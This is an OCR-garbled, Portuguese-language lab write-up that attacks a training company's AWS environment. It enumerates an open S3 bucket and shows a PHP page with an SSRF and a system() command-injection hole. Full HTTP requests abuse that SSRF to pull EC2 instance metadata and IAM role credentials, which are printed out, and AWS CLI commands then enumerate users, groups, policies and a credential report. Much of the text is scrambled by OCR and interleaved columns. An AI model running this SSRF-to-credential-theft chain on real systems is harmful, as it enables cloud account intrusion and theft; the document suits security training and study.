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IAM )
|ldentity and Access Management

e O IAM permite que vocé crie e gerencie usuarios, grupos e funcdes da AWS configurando politicas
para permitir ou negar o acesso deles aos recursos da AWS.

O que sao:
1. Usuarios (Users): Representam identidades individuais que podem interagir com os servigos da AWS.
2. Grupos (Groups): Sao conjuntos logicos de usuarios, facilitando a atribuicdo de permissdes a varios usuarios de uma vez.
3. Fungbes (Roles): Um mecanismo da AWS que possibilita usuarios e servigos assumirem credenciais temporarias de seguranga que

podem ser usadas para fazer chamadas de APl da AWS.

4. Politicas (Policies): Sdo documentos JSON que definem as permissées necessarias para acessar e interagir com os recursos da AWS.
As politicas sao anexadas a usuarios, grupos ou fungbes para conceder ou negar acesso a recursos especificos.






osint:
https://qithub.com/7WaySecurity/cloud osint

Cloud OSINT

A repository with information related to different resources, tools, and techniques related to Cloud OSINT

Cloud Infrastructure

Azure Storage

* Blob storage: http://mystorageaccount.blob.core.windows.net

¢ Table storage: http://mystorageaccount.table.core.windows.net

* Queue storage: http://mystorageaccount.queue.core.windows.net
o Azure Files: http://mystorageaccount file.core.windows.net

o Database: http://mystor count.database.windows.net

AWS S3 Buckets

o https://[bucketname].s3.amazonaws.com

tname]

¢ https://[bucketname].s3-website-[region].amazonaws.com/

GCP Technologies

¢ Technologies Cheatsheet - |

® GCP Regions and Zones - htips om/comput -zones

< e El %5 cwl-metatech.s3.amazonaws.com

This XML file does not appear to have any style information associated with it. The document tree is shown below:

v<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name >cwl-metatech</Name>
<Prefix/>
<Marker/>
<MaxKeys >1000</MaxKeys>
<IsTruncated>false</IsTruncated>
¥<Contents>
<Key>dev-server-ip.txt</Key>
<LastModified>2024-02-23T06:13:06.000Z</LastModified>
<ETag>"e@81a5e92c130925a507e29f5a8d77ca"</ETag>
<Size>14</Size>
¥ <Owner>
<ID>529e2b0289%eda71b%a8ad4f348c6aad9810278d2a097005011849396300d1be3< /1D >
</Owner>
<StorageClass>STANDARD</StorageClass>
</Contents>
¥<Contents>
<Key>prod-data.txt</Key>
<LastModified>2024-02-23T06:09:15.000Z</LastModified>
<ETag>"44cf3eebPba59f455ddbo6b97d 40"</ETag>
<S5ize>279</Size>
Y <Owner>
<1D>529e2b@289%eda71b9a8a@4f348c6aad9810278d2a09700501f849396300d1be3</ID>
</Ouwner>
<StorageClass>STANDARD</StorageClass>
</Contents>
v<Contents>
<Key>staging-data.txt</Key>
<LastModified>2024-02-23T06:09:15.000Z</LastModified>
<ETag>"8a582b7a65fd12065ee20e55458e803e"</ETag>
<5ize>227</Size>
¥ <Owner>
<ID>529e2bB®289%eda71b9a8a@4f348c6aad9810278d2a097005011849396300d1be3</ID>
</Owner>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>



https://cwl-metatech.s3.amazonaws.com/
https://github.com/7WaySecurity/cloud_osint

_| staging-data - Bloco de Notas

Arquivo Editar Formatar Exibir Ajuda

China Union Pay 6250941006528599 06/2026 738
Discover 6011000990099818 12/2026 333
Visa 4005550000000019 04/2026 111 97.52
Visa 4503300000000008 04/2026 431 97.52
Visa 4205260000000005 05/2026 213| 0.0

| dev-server-ip - Bloco de Notas

Arquivo Editar Formatar Exibir Ajuda Arquivo Editar Formatar Exibir Ajuda
h8.216.126.203 User Company Credit Card Number  Expiry Date
Alex Amex 374245455400126 05/2026

Bob Caball 6271701225979642 03/2026
Lisa Cencosudl 6034932528973614 06/2026
David China Union 6250941006528599 06/2026




[ A N3oseguro | 18.216.126.203

Total found: -2 Max shown: 100
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0| 18216126203 % el® A &

Code ) lIssues il Pull requests +) Actions [ Projects () Security [~ Insi

Files process.php

main v

@ cwkiran pdat Tell Us More About Your Site

Enter Your Site URL:

; Code Blame
_| CWLpng

: - Site Publ
| calculate_score.php : <2php

\ icon.png

| index.html $ip = $_POST['ip'];

] process.php $content = file_get_contents($ip);
score.html RCE erabilit
Y style.css $org = $_POST['organization'];

$org_output=system($org);

| update.html

@®CWL For Cyber Security Course and Training Visit cyberwarfare.ive



Request Response

Raw Pretty Raw > Render

1 POST /process.php HTTP/1l.1 1 |HTTP/1.1 2
Host: 18.21 £.203 Dat S 10 Mar 2024 05:25:25 GHT
er—Agent: > 3 P

ip, deflat br Connection: Upgrad:
21€.12€.203/update.html 7 Content-Type: text ml; charset=UTF-8
/ Z Content-Length
boundary G 2€€7211€424220107901244833493 g
¢ Content-Length 0 ami-id
Origin: http: S A ami-launch-ind
Connection: ami-manifest-path
block-d i
= 12€€72116424220107901244833493
url" hibernation/
tname
iam,
126€72116424220107901244833493 Z identity-credential
date" ins action
20 instance-id
life-cycle
126€7211€424220107901244833493
l-hostname
local-ipv4
mac
12€€72116424220107901244833493 nmetrics/
Content-Disposition: form-data; o i etwork/

7211642422010790124483349
v

ervation-id
urity-groups




POST /process.php HTTP/L1.1
Host: 18.216.126.203

HTTP/1.1l 200 OK
Date Sun, 10 Mar 2024 05:26:28 GMT

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x ; rv:123.0) Gecko/20100101 Firefox/123.0 3 Server: Apache/2.4.58 ()

Accept: */*

Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br

Referer: http://18.216.126.203/update.html

Content-Type: multipart/form-data;

boundary= 126€72116424220107901244833493
Content-Length: €19

Origin: http://18.21€.126.203

Connection: close

126€E7211€424220107901244833493
Content-Disposition: form-data; name="url"

https://teste.com.br
12667211€6424220107901244833493
Content-Disposition: form-data; name="date

2210-02-10

12€672116424220107901244833493
Content-Disposition: form-data; name="ip"

http://169.254.169.254/ latest/meta-data/identity-credentials/
E€72116424220107901244833493
Content-Disposition: form-data; name="organization”

teste teste

12EE7211E424220107901244833493 ——

Request
Raw Hex
POST /process.php HTTP/1l.1
Host: 1B8.216.126.203
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:124.0) Gecko/20100101
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://18.216.12€.203/update.html
Content-Type: multipart/form-data;
boundary= 3442733018284832856599854873¢€
Content-Length: 579
Origin: http://18.216.126.203
Connection: clos

344273301828483285€599854873¢6
Content-Disposition: form-data; name="url"

teste
344273301B8284832856599854873¢
Content-Disposition: form-data; name="date"

2024-04-15
3442733018284832856599854873¢€
Content-Disposition: form-data; name="ip"

http /1€69.254.169.254/ latest/meta-data/public-hostname
344273301828483285€599854873¢6
Content-Disposition: form-data; nam organization”

tresre

34427330182848328565998548736-—

X-Powered-By: PHP/7 34

Upgrade: h2,hiZc

Connection: Upgrade, close
Content-Type: text/html; charset=UTF-8
Content-Length: 98

{

"Code® ' "Success”,

"LastUpdated” : "2024-03-10TOS:14:07zZ",
"AccountId” : "294170659659"

}

Response

= Pretty Raw Hex Render

HTTP/1.1 200 OK
Date: Mon, Ol Apr 2024 21:41:10 GMT
Server: Apache/2.4.58 ()
X-Povered-By: PHP/7.2.34
Upgrade: hZ,hiZc
Connection: Upgrade, close
7 Content-Type: text/html; charset=UTF-8
Content-Length: 50

ec2-18-216-126-203.us-sast-2.compute.amazonawvs.com




POST /process.php HTTP/L.1 HTTP/1.1 200 OK
Host: 18.21€.126.203 2 Date: Sun, 10 Mar 2024 22:47:54 GMT
Content-Length: 506 3 Server: Apache/2.4.58 ()
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) { X-Powered-By: PHP/7.2.34
Chrome/122.0.6261.95 Safari/537.36 5 Upgrade: hZ,hlc
VebKitFormBoundaryy4kcG3BYSkVOCBe2 ¢ Connection: Upgrade, close
Accept: */* 7 Content-Type: text/html; charset=UTF-8
Origin: http://18.21€.126.203 Z Content-Length: L1566
Referer: http://18.216.126.203/update.html 2
Accept-Encoding: gzip, deflate, br 0 H{
Accept-Language: pt-BR,pt;q=0.9,en-US;¢=0.8,en;q=0.7 "Code" : "Success",
Connection: close 2 "LastUpdated" : "2024-03-10T22:15:23Z",
3 "Type" : "AUS-HMAC",
VebKitFormBoundaryy4kcG3BYSkVOCBe2 1 "AccessKeyId" : "ASTAUI7PQBNFRMMEOGWU",
Content-Disposition: form-data; name="url" 5 "SecretAccessKey" : "GIfFFem2MTscpOIpAC+AOdBKvzZNQZJ+IAnMIV+LH",
6 "Token" :
"1QoJdh3JpZ2 luX2VIEBYaCXVzLWVhe3Qt MiJHMEUC IFLB7M3 Ih9pDy3R1£WecxCTQASesvXe 6BVl TkBGkt ZchAiEAmpSx/ w
VebKitFormBoundaryy4kcG3BYSkVOCBe2 46yrqQMebp lg0iGSSgInSEShZRYHX1SF vt MsquQUIHx ACGywyOTQxNzZAZNTkZNTkiDJH3 223 7yXi4+pF4ZkCUBdsSVBABEE
Content-Disposition: form-data; name="date" mx0faBGAAG76cYUtsLBuxCvRIEPWBLlr/ A6c0CO0eF+7pCTomihgdEaUJaiYyvP 1x3haifACZHFSxNWBTSRl IHAjwAFTVG7v
PS5 1KmaPvrms/ SC5Tg+SHI 1eVKTia3 WRar4cePJQQ2kuG4c0+FOIPGeLO7£QLIMPth85UB3 SnX LkhOXpPVVkdTy IrkGpRkyHS
3021-11-20 1lojSzkv7PvokBOEIP7Wc2 6VDESEca/BniFvF ldwIu7FryS1BdeyhItP/9gTWdK4eFvnF9tUeoCxgugklbgKaPsDACNbhShz
VebKitFormBoundaryy4kcG3BYSkVOCBe2 X33bA+rPZe I LLR24+uUiGkGBkibXZF z£ Mw2 +HgCNnkB+d4rj lygz9049mgSORqAwM1GU9eSudSVhgGhWE/ ufe 11 TUKHN2 0g
Content-Disposition: form-data; name="ip" X8Lt émZ PFEVKSnFOU+IEuFAJt3DONYVCRZIGI/ dhégHy2 Yifr TMSETIpWAGNZ vumcGrnUd£EEQ0AGU+5HGeenegH1SS2 XLt S
blshqagKY92Hrq7IMFVYELdL3QtD7511g8+eYZhliMHAYnOgZBiSsGx M3 +HUEUQAABPNUpyxucegly/9S+sqaTdHr smnar0
p://169.254.169.254/ latest/meta-data/ iam/security-credentials/ec2-r 8358/LN1ijSB5DjxSHPwrHk9 Yen+hXToDUsSc2j5v2BzKerU4eErili 1Be7MaMtGihKSKjOUVZEVEeKECELt Tyjod+QUnPY
VebKitFormBoundaryy4kcG3BYSkVOCBel uvyTheMHprqUyYEAEP ISpnakgVG/ €dbUONdFE LEShppkirGQILToygy72 yEAMh7hIYAdEGF yF iBtvdESKUDYTZ9n/ GrOOXB
Content-Disposition: form-data; name="organization"” PSZQiNKmSwOF TFwyNOOF GdbeHKiHej34dSDUwlcar9z/ 1pX2eW8sLbhbN4 TuNfE Le/VhpY3FmITIbPzvhInd9 LAnr LWEQtKr7
3sA4kEbirMQ7xe/+C+LUMNPhuK8GOr EBmgdoaBe LEXDAEHI 204+ UF GekwpNudDBeX8gjWrqS IMMZOC2 tpkicx3iInUQoudi
iuOxe7e7LEEpYLBIPyIdkQ4z+MiBpm7hhKVU3VES1SIyIV0/L/ oMb MYQRpr R4 Y IAWLHOqAUTZwpLAdvi AXxBP2F 1 TSGga
VebKitFormBoundaryy4kcG3BYSkVOCBe2-- UJxs+7a8nbvESxdA0J 715/ vKZLNLgX x93 NmXuMT8/ BadyuX2POVLedraévY8NcZQE2 +/ GhFJt £zpB",
7 "Expiration" : "2024-03-11T04:22:012"
8}




E(gabr‘iel@DESKTOP—BNASCOB)»[~/.aws] % aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --version-id v111 --profile cwl-iam
$

aws configure --profile cwl-iam {
AWS Access Key ID [None]: ASIAUI7PQBNFRMM60GWU "PolicyVersion":
AWS Secret Access Key [None]: GIfFFem2MTscpOIpAC+A0dBKvzNQ2J+IAnMIV+bH "Document"

Default region name [None]: "Version": "2012-10-17",
Default output format [None]: "Statement": [
E(gabr‘iel@DESKTOP*3NA3COO)*[~/.aw5] - "Sid": "ReadOnlyActions"”,
$ nano credentials "Effect": "Allow",
L—(gabriel@DESKTOP-3NA3C06) -[~/.aws] Adi:zbfsgt*"
¢ aws sts get-caller-identity --profile cwl-iam "aAb:List*"’,
{ "adb:Search*",
"UserId": "AROAUI7PQBNFTXRYINNIW:i-@bf85dde45264fc5f", "access-analyzer:GetAccessPreview",
"Account": "294170659659", "access-analyzer:GetAnalyzedResource", "h - =
2 i 5 ealthlake:SearchWithPost
"Arn": "arn:aws:sts::294170659659:assumed-role/ec2-role/i-8bf85dde45264fc5f" I_a“ess'a"a;llym"‘ge:“ai)_'ze; i . W M:Canaratert ’
access-analyzer:GetArchiveRule", - >
} "access-analyzer:GetFinding", "iam:Get*",
. "access-analyzer:GetGeneratedPolicy", "jam:List*"
L_(Babr‘lel@DESKTOP'BNA3C00)'["‘/-awsl "access-analyzer:ListAccessPreviewFinding - am: Simula;e*"
¢ aws iam list-attached-role-policies --role-name ec2-role --profile cwl-iam "access-analyzer:ListAccessPreviews", . :2
"access-analyzer:ListAnalyzedResources",
"AttachedPolicies": "access-analyzer:ListAnalyzers", Sl oy Semarik (i
. "access-analyzer:ListArchiveRules", "sts:GetAccessKeyInfo",
"PolicyName": "ReadOnlyAccess" "access-analyzer:ListFindings", "sts:GetCallerIdentity",
"PolicyArn”: "arn: Ay Ty REONITA 5 "access-analyzer:ListPolicyGenerations", "sts:GetSessionToken",
olicyArn": "arn:aws:iam::aws:policy/ReadOnlyAccess "access-analyzer:ListTagsForResource”, & 52 g
} "access-analyzer:ValidatePolicy",
1 "account:GetAccountInformation”, "ec2:Describe*",
} "account:GetAlternateContact"”, "ec2:Get*",
"account:GetChallengeQuesti?ns", "ec2:ListImagesInRecycleBin",
L—(gabriel@,DESKrop»aNAscoe)»[~/.aws] :Ezz:::gzzgznizﬁélgzzzzzmn "ec2:ListSnapshotsInRecycleBin®,
$ aws iam get-policy --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --profile cwl-iam "account:ListREgionz" ’ _,zz:fZZ:::x;i?:zz:z:z:zﬁ:e;,,
: ‘) - 5
"acm-pca:Describe*", "ec2messages:Get*",
"Policy": { "acm-pca:Get*",
"PolicyName": "ReadOnlyAccess", "acm-pca:List*",
"PolicyId": "ANPAILL3HVNFSB6DCOWYQ", :GCWIZDESi:ibE*";
"Arn": "arn:aws:iam::aws:policy/ReadOnlyAccess", "acm:Lgtt*‘,‘
" w.owgm acm:List*",
"Path 2t Ui e " "airflow:ListEnvironments",
DefaultVersionId": "vi11", "airflow:ListTagsForResource",
"AttachmentCount": 7, "amplify:GetApp",
"PermissionsBoundaryUsageCount": 9, "amplify:GetBranch",
"IsAttachable": true, "amplify:GetDomainAssociation",
"Description": "Provides read-only access to AWS services and resources.", :a"'Pl%fy:G‘?thb"t"
"CreateDate”: "2015-02-06T18:39:48+00:00", ,,a'“P}??‘Ezt’;fzs :
am, 1 H nc S
"UpdateDate": "2024-02-85T15:00:23+00:00", S e Sl
"Tags": [] "amplffy.LJ:st]chain ssociations",
< amplify:ListJobs",

} "aoss:BatchGetCollection",
} "aoss:BatchGetVpcEndpoint",



L—(gabriel@ DESKTOP-3NA3C00) - [~] L—(gabriel@DESKTOP—3NA3coa)— [~/ .aws]
$ aws iam 1ist—policies ——pr‘ofile cwl-iam $ aws iam get-policy-version --policy-arn arn:aws:iam::294170659659:policy/aws-iam-restriction --version-id vl --profile cwl-iam

"PolicyVersion": {

"Policies": [ "Document”: {

{ "Version": "2012-10@-17",
"PolicyName": "assume-role-policy", Stateme"t o
"PolicyId": "ANPAUI7PQBNFVAGSK2LIP", "Sid": "VisualEditor@",
"Arn": "arn:aws:iam::294170659659:policy/assume-role-policy”, if:ect "Deny::
" w, wgm ction s
Path": "/ > "Resource"
"DefaultVersionId": "v1", }
"AttachmentCount": 1, 1
"PermissionsBoundaryUsageCount": @, "WersionId": "1n,
"IsAttachable": true, "IsDefaultVersion": true,
"CreateDate": "2022-07-20T07:22:15+00:00", ; "CreateDate": "2022-01-27T17:38:36+00:00"
"UpdateDate": "2022-07-20T707:22:15+00:00" }

},

{ (gabriel% DESKTOP-3NA3C00) -[~/.aws]

L

"PolicyName": "assume-role-policy2", $ aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id vl --profile cwl-iam
" . . om " {
“Polln:cyfd 5 ANPeUI7PQBNF3LJPOKR72 - ) . TGRSO
Arn": "arn:aws:iam::294170659659:policy/assume-role-policy2", *Document™: {
*Path”: /%, "Version": "2012-10-17",
"DefaultVersionId": "v1", "Statement™: [
"AttachmentCount": ©, {
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2022-07-20T07:53:07+00:00", 3
"UpdateDate": "2022-07-20T07:53:07+00:00" !

}, "VersionId": "v1",

{ "IsDefaultVersion": true,

"PolicyName ". "sus-iam-restriction” a CreateDate": "2015-02-06T18:39:46+00:00

"PolicyId": "ANPAUI7PQBNFX7WU7ALS4", }
e~ skippangs..



L¢ aws iam

{

"Users":

3

E(gabr‘iel@zDESKTOP—BNABCOB) ~[~/.aws]
$ aws iam list-user-policies --user-name
list-users --profile cwl-iam
"PolicyNames": []

[

“path": (gabrielS DESKTOP-3NA3C00) - [~/ .aws]
AL > . aws iam list-user-policies --user-name

"UserName "Automation"”,

"UserId": "AIDAUI7PQBNFV24Q2NVW5", "palicyiames™: [}

"Arn": "arn:aws:iam::294170659659:user/Automation”,

"CreateDate": "2022-01-14720:52:00+00:00"
(gabriel% DESKTOP-3NA3CO0@) - [~/ -aws]
aws iam list-user-policies --user-name

“PolicyNames": []

T
£l 9

"AWS-Account-Admin@atomic-nuclear.site",
"UserId": "AIDAUI7PQBNFRWCXMPKY5",

“Arn": "arn:aws:iam::294170659659:user/AWS-Account-Admin@atomic-nuclear.site", E:—(gabP§9155?ESKTOP*3NA3§0?)’["/-ENS]
"CreateDate": "2021-89-01T12:43:53+00:00" . SR S RIS AR A S S
"PolicyNames™: []

"Path": "/", ’

"UserName": “"developer", [j*(gabrielégDESKTOP*BNAECOB)f[~/_aws]

"UserId": "AIDAUI7PQBNFAC27CKPQ5", $ aws iam list-user-policies --user-name

"Arn": "arn:aws:iam::294170659659:user/developer"”, { . ) .

"CreateDate": "2024-03-18T14:40:03+00:00" : Ralicyllamess R E]
[j—(gabrieIQEDESKTOP-3NA3C09)'[~/.aws]

“Path": "/", $ aws iam list-user-policies --user-name

"UserName": "ec2-admin",

"UserId": "AIDAUI7PQBNF6DL20UARX", FRolicyMimes®: .

"Arn": "arn:aws:iam::294170659659:user/ec2-admin", =3-admdriistraton: Policy.

"CreateDate": "2021-10-10T09:35:31+00:00" 3} L

[j—(gabrie1§BDESKT0P—3NAscoa)—[~]
$

"Path":
"UserName": "emp@@", { .
"UserId": "AIDAUI7PQBNF65T37ME23", PolicyGroups": [],

"Arn": "arn:aws:iam::294170659659:user/emp@@", "PolicyUsers™: [

“CreateDate": "2022-01-14T20:54:19+00:00"

"UserName": "Automation”,
"UserId" AIDAUI7PQBNFV24Q2NVWS™
SEathes 7= 7
"UserName": "emp@@1", " w, w "
i e . UserName": "feb-user
UserId": "AIDAUI7PQBNF27C73VMVS", “JserTd": "ATDAUI7PQBNFW3EK7XHND"
"Arn": "arn:aws:iam::294170659659:user/emp@01”, }

"CreateDate": "2024-82-23T06:09:01+00:00"
5
"PolicyRoles": [

"Path®: Tf", “RoleName": "Admin-role-for-lambda-func",
"UserName": "emp0@2", "RoleId": "AROAUI7PQBNFSEEWKMXJY"
"UserId": "AIDAUI7PQBNFQCGISZ4IN", 1

"Arn": "arn:aws:iam::294170659659:user/emp@@2", i

"CreateDate": "2024-02-23706:09:01+00:00" "RoleName"

"RoleId": "AROAUI7PQBNFVATJISL3X5"

1,
{
"RoleName": "dev-role",
"RoleId": "AROAUI7PQBNFXD3NSOASG"
}
{

"RoleName
“RoleId":

AROAUI7PQBNFXZFZBTQA4"

aws iam list-entities-for-policy --policy-arn arn:aws:iam

SathishR --profile cwl-iam

manish@atomic-nuclear.site --profile cwl-iam

developer --profile cwl-iam
AWS-Account-Admin@atomic-nuclear.site --profile cwl-iam
emp@@2 --profile cwl-iam

emp@@1 --profile cwl-iam

::aws:policy/AdministratorAccess --profile cwl-iam

"AWSReservedSSO_AdministratorAccess_f15c3880924f63b7",

"AWS-QuickSetup-StackSet-Local-ExecutionRole",



aws iam get-group --group-name interns --profile cwl-iam

E(gabr‘iel@ DESKTOP-3NA3C00) - [~] [_—$(gabrie1@DESKTOP»?»NAacoe) ~[~]
$

aws iam list-groups --profile cwl-iam ‘
{ "Users": [
"Groups": [ {
{ “Path": "/,
"UserName": "intee1l"
" ", w/mn 2
Path": "/", "UserId": "AIDAUI7PQBNF544QA4L05",
"GroupName": "employees" "Arn": "arn:aws:iam::294170659659:user/int@01",
P ploy >
“Gl"OUpId“ = "AGPAUI7PQBNFWZ4W7ITL4" "CreateDate": "2024-02-23T06:08:59+00:00"
= >
S }
"Arn": "arn:aws:iam::294170659659:group/employees"”, 1
"CreateDate": "2024-02-23T06:09:00+00:00" "Group": {
} "Path": "/",
- "GroupName": "interns",
{ "GroupId": "AGPAUI7PQBNFTPOZPEC7D",
" " " " " " " s ¥ "
Path?: i[5, Arn": "arn:aws:iam::294170659659:group/interns"”,
"GroupName": "interns", "CreateDate": "2024-02-23T06:08:59+00:00"
"GroupId": "AGPAUI7PQBNFTPOZPEC7D", : }
"Arn": "arn:aws:iam::294170659659:group/interns”,
"CreateDate": "2024-02-23T06:08:59+00:00" [ lsstmsimnekion ek ) )
} $ aws iam get-group --group-name employees --profile cwl-iam
{
] "Users": [
} {
"path": "/,
"UserName": "emp@02",
"UserId": "AIDAUI7PQBNFQCGISZ4IN",
L—(gabriel@DESKTOP-SNABCO@)v[~] "Arn": "arn:aws:iam::294170659659:user/emp002",
$ aws iam list-attached-group-policies --group-name employees --profile cwl-iam "CreateDate": "2024-02-23T06:09:01+00:00"
¥
"AttachedPolicies": [ {,
{ ) "path": "/"
"PolicyName": "AmazonDevOpsGuruFullAccess", "UserName": "emp@@3"
"PolicyArn": "arn:aws:iam::aws:policy/AmazonDevOpsGuruFullAccess" z G P 2 5
} UserId": "AIDAUI7PQBNFW3WTHOLGA",
1 "Arn": "arn:aws:iam::294170659659:user/emp@@3",
3 “"CreateDate": "2024-02-23T06:08:59+00:00"
E(gabriel@DESKTOP-BNA3COO)-[~] }
$ aws iam list-attached-group-policies --group-name interns --profile cwl-iam 1,
"Group": {
"AttachedPolicies": [ "Path®: /%,
{ "GroupName": "employees",
"PolicyName": "AWSCodeBuildDeveloperAccess", "GroupId": "AGPAUI7PQBNFWZAW7ITLA4",
"PolicyArn": "arn:aws:iam::aws:policy/AWSCodeBuildDeveloperAccess" "Arn": "arn:aws:iam::294170659659:group/employees"”,
} "CreateDate": "2024-02-23T706:09:00+00:00"
] ¥



¢ aws iam generate-credential-report --profile cwl-iam

"State": "STARTED",

"Description”: "No report exists. Starting a new report generation task”

[j—(gabr191€§DESKY0P»3NA3(02)—[~]
$ aws iam get-credential-report --profile cwl-iam
{

“"Content”: "dXNlcixhcmdsdXN1c19jcmVhdGlvb19@aW1lLHBhc3N3b3IkX2VuYWIsZWQscGFzc3dvemRfbGFzdF91c2VkLHBhc3N3b3IkX2xhc3RFY2hhbmd1ZCxwYXNzd29yZF9uZXheX3IvdGFeal9uLG1mYVOhY3RpdmUsYWNZXNZX2t 1eV8x
X2F§d612Z5xhBhc3N3b3IkX2xhc3RFY2hhbmd1ZCxwYXNzd29y ZF9uZXhOX3IvdGF0aW9ulL G1mYVOhY3RpdmUsYWNIZXNZzX2t1eV8xX2F jdG12ZSxhY2N1c3NFa2V5XzF FbGFzdF9yb3RhdGVKLGFjY2Vzc19rZX1fMVISYXNOX3VzZWRFZGFOZSxhY2N1c3
Nfa2V5XzFfbGFzdF91c2VkX311Z21vbixhY2N1c3Nfa2V5XzFFbGFzdF91c2VkX3N1cnZpY2Us YWNFZXNZzX2t 1eV8yX2F jdG12ZSxhY2N1c3Nfa2V5XzI fbGF zdF9yb3RhdGVKLGF §Y2Vzc19rZX1fM19sYXNOX3VZZWRFZGFOZSxhY2N1c3NFa2V5Xz1FbG
FzdF91c2VkX311Z21vbixhY2N1c3Nfa2V5XzIfbGF zdF91c2VkX3N1cnZpY2UsY2VydF 8xX2F jdG12ZSxjZXI0XzF FbGF zdF 9yb3RhdGVkLGN1cnRFM19hY3RpdmUsY2VydF 8yX2xhc3RFcm9BYXR1ZA0o8cmIvdFOhY 2NvdWS@Pixhcmd6YXdzOm1hbTo6M]
KkOMT cuNjUSN3USOnIvb3QsMjAyMS@wOCRYN1QxMzozMzoxNy swMDowMCxub3RF c3VincG9y dGVKLDIWMIQtMDQEMDFUMTAGMZMEMDUrMDAGMDAS bmI@X3N1 cHBv cnR1ZCxub3Rf c 3VwcGIy dGVkLGZhbHN1LHRy dWUsMj Ay MS@xMS@XNVQxMj 08N o1NCswMD
owMCuyMDIxXL TEXL TE1VDEZ0FES05 AwKzAwO3 AwLHVZLWVhCc3QtMixz c20sZmF sc2UsTi9BLEAVQSXOLOE ST 9BLGZhbHN1LEAvQSxmYUxzZSxOLOEKQXVOb21hdGlvbixhcm46YXdzOmlhbTo6MjkeMT cwNjUSNUSONVZZXIvQXVeb21hdGlvbiwyMDIyLT
AxLTE@VDIWO3Uy0jAwKzAwO AL GZhbHN1LE4vQSXOLOESTi9BLGZhbHN1LGZhbHN1LDIwMMEMTE LM RUMTAGMjMENDIrMDAGMDASMjAyNCBMi OwM1QuNzoxODowMCswMDowMCx1cy11YXNOL TEsaWF tLHRy dWUsMjAyNCOwWMi BwOFQxMT010T owMS swMD
owMCwyMDIOLTAyLTIZVDA203E105AwKzAwOFAWLHVZLWVhc3QtMSxzdHMs ZmF sc2UsT19BLGZhbHN1LE4AvQQpBVIMEQWNjb3VudC1BZG1pbkBhdGItalMtbnVjbGVhci5zaXR1LGFybjphd3M6alWFt0joyOTQxNzA2NTk2NTk6dXN1ci9BVIMEQUN b3VudC
1BZG1pbkBhdG9talMtbnVjbGVhci5zaXR1LDIwM]EMDktMDFUMTI6NDMENTMrMDAGMDAS ZmF s c2UsTi9BLEAVQSXOLOESZmF sc2UsZmF sc2UsTi9BLEAVQSXOLOEST1i9BLGZhbHN1LEAVQSXOLOESTi9BLEAVQSXmYUxzZSXOLOESZmFsc2UsTi9BCmR 1dm
Vsb3B1cixhcm46YXdzOm1hbTo6MjkOMT cwNjUSNUSONVZZXIvZGV2ZhxvcGVyL DIwMIQtMDMEMThUMTQENDAGMDMrMDAGMDAS ZmF s 2Us T 1 9BLE4VQSXOLOE sZmF s c2UsdHI1ZSwyMDIOL TAzL TEAVDEGO Qw0 MwK zAwO  AwL DIwMIQtMDQEMDFUMTAGNT
Y6MDArMDAGMDAS dXMtZWF zdCOYL Gt cyxmYWxzZSxOLOEST1i9BLEAVQSXOLOESZmF sc2UsTi9BLGZhbHN1LEAVQQp1YZItYWRtaW4sYXIuOmF3czppYW603 ISNDE3MDY10TY10Tplc2VyL 2ViMi1hZG1pbiwyMDIxLTEWLTEWVDASOM10GMxKZAWOFAWLG
ZhbHN1LE4vQSXOLOESTi9BLGZhbHN1LGZhbHN1LDIwM EtMTAMTBUMDKEMZUSMZMrMDAGMDASMAyMS@xMCOXMFQXMToyNT owMCswMDowMCx1cy11YXNOLTIsZWMyLGZhbHN1LE4vQSXOLOESTi9BLE4VQSXxmYWxzZSXOLOE sZmFsc2UsTi9BCmVtcDAWLG
Fyb3phd3M6aliFt03oyOTQxNzA2NTk2NTk6dXN1 ci91bXAwMCwyMDIyL TAXL TEGVDIWO3UBO;ESKzAWOjAwLGZhbHN1LE4vQSXOLOESTi9BLGZhbHN1LGZhbHN1LE4vQSXOLOESTi9BLEAVQSxmYHxzZSXOLOESTi9BLE4VQSXOLOESZmFsc2UsTi9BLGZhbH
N1LE4vQQp1bXAWMDESYXJuOmF 3czppYWO603 ISNDE3MDY10TY10Tplc2VyL 2Vt cDAWMSwyMDIOL TAYLTIzVDA20A507AxKZzAwW0 3 AwLGZhbHN1L E4vQSXOLOE s Ti9BLGZhbHN1LGZhbHN1LE4vQSXOLOESTi9BLEAVQSxmYlxzZSxOLOESTi9BLE4VQSXOLO
EsZmFsc2UsTi9BLGZhbHN1LE4vQQp1bXAwMDISYXIuOmF3czppYWO603 ISNDE3MDY10TY10Tp1c2VyL 2V cDAWMiwyMDIOLTAyLTIZVDA20jA505AxKzAwO AWl GZhbHN1LE4vQSXOLOEST1i9BLGZhbHN1LGZhbHN1LE4AVQSXOLOESTi9BLEAVQSXmYWXZZS
XOL@EsTi9BLE4AVQSXOLOEsZmFsc2UsTi9BLGZhbHN1LE4vQQp1bXAWMDMsYXIuOmF 3czppYW603 ISNDE3MDY10TY10Tplc2VyL 2Vt cDAwMywyMDIOLTAyL TIzVDA203A405USK2zAWOFAwLGZhbHN1LE4vQSXOLOEST19BLGZhbHN1LGZhbHN1LE4AVQSXOLO
EsTi9BLE4AVQSxmYWxzZSxOLOEsT1i9BLEAVQSXOLOESZmF sc2UsTi9BLGZhbHN1LEAVQQpmZWItdXN1cixhcm46YXdzOmLhbTo6MjkOMT cwNjUSNUSONVZZXIvZmViLXVzZXIsMjAyMy@wMiBwOVQWOTozNTo1MS swMDowMCxmYWxzZSxOLOEST1i9BLEAVQS
